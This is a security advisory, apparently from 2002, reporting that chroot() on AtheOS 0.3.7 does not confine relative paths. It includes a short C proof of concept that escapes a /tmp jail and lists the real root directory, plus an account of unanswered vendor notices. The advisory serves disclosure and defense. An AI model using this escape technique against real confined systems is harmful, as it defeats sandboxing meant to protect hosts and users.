-------( AtheOS )------- AtheOS is a free desktop operating system under the GPL license. AtheOS currently run on Intel, AMD and other compatible processors and support the Intel Multi Processor architecture. AtheOS home page is : http://www.atheos.cx -------( Vulnerability )------- A chroot() call is implemented in AtheOS, and its behavior is supposed to be POSIX conformant. Once chroot() is issued by a process, should become the base directory ('/') with no way to go out of the jail. That feature is widely used to protect applications against unwanted directory traversals (ftp, http, etc.) . After a chroot() call on AtheOS, '/' indeed seems to become the base directory. '/path/to/file' is translated to '/path/to/file' . Unfortunately, relative paths aren't checked against the current chroot jail. Therefore, '../../../../path/to/file' will be translated to a file out of the chroot limits. -------( Affected versions )------- Version 0.3.7 seems to be affected by that bug. I didn't check any prior release, but they may be vulnerable as well. -------( Simple proof of concept )------- The following code will read the content of the real '/' directory, while '/tmp' is supposed to be the base of the chroot jail. #include #include #include int main(void) { register DIR *d; register const struct dirent *e; if (chdir("/") || chroot("/tmp") || chdir("/") || (d = opendir("..")) == NULL) { return 1; } while ((e = readdir(d)) != NULL) { puts(e->d_name); } return 0; } -------( Vendor notification )------- I reported the problem to the AtheOS maintainer on January 2nd. The mail bounced (message id: 20020102235031.A20057@c9x.org) on January 10th. I sent back another mail to (message id : 20020110000235.GA31372@c9x.org) . The mail bounced on January 17th. I finally sent a mail to the AtheOS-Developer mailing-list. No one ever answered. -------( Impact )------- Don't trust chroot() on AtheOS. Users can traverse directories. Best regards, -Frank. -- __ /*- Frank DENIS (Jedi/Sector One) -*\ __ \ '/ Secure FTP Server \' / \/ Misc. free software \/